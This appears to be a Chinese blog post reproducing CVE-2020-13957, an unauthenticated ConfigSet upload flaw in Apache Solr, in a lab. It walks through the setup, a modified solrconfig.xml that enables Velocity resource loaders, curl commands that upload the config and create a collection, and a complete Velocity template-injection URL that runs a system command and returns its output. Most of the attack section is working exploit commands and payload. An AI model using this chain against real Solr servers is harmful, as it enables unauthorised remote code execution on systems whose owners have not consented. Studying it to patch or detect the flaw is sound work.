CVE-2020-13957|Apache Solr ConfigSet API未授权上传漏洞

26 篇文章 2 订阅
19 篇文章 0 订阅

下载

CVE-2020-13957影响范围: Apache Solr 6.6.0 to 6.6.5、7.0.0 to 7.7.3、8.0.0 to 8.6.2
官方下载地址:Apache-Solr,本次漏洞复现下载影响范围内的8.0.0,解压既用。

不挂代理下载实在太慢,于是我就上传了一份:https://download.csdn.net/download/weixin_39811856/13162062

启动

该漏洞需要以cloud模式运行Solr,同时Solr-API不能开启认证
进入solr-8.0.0/bin目录下,使用   ./solr start -e cloud -force启动一个cloud示例,一路默认安装即可。

利用思路

利用UPLOAD上传恶意配置->用恶意配置创建新的collection->执行RCE,由于ConfigSet API存在未授权上传漏洞,可以利用该漏洞实现远程代码执行。

准备攻击配置文件并打包

进入/solr-8.0.0/server/solr/configsets/sample_techproducts_configs/conf/目录下修改solrconfig.xml如下内容:

 

原配置内容: <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"> <str name="template.base.dir">${velocity.template.base.dir:}</str> </queryResponseWriter>

修改后: <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy"> <str name="template.base.dir">${velocity.template.base.dir:}</str> <str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str> <str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str> </queryResponseWriter>

 

2、执行

zip -r - * > mytest.zip

3、执行

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://ip:8983/solr/admin/configs?action=UPLOAD&name=mytest"

4、执行

curl "http://ip:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

5.此时可以看到已经上传上去名为mytest2的Collection。现在就可以使用漏洞执行RCE。

 

http://ip:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ATOM_123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值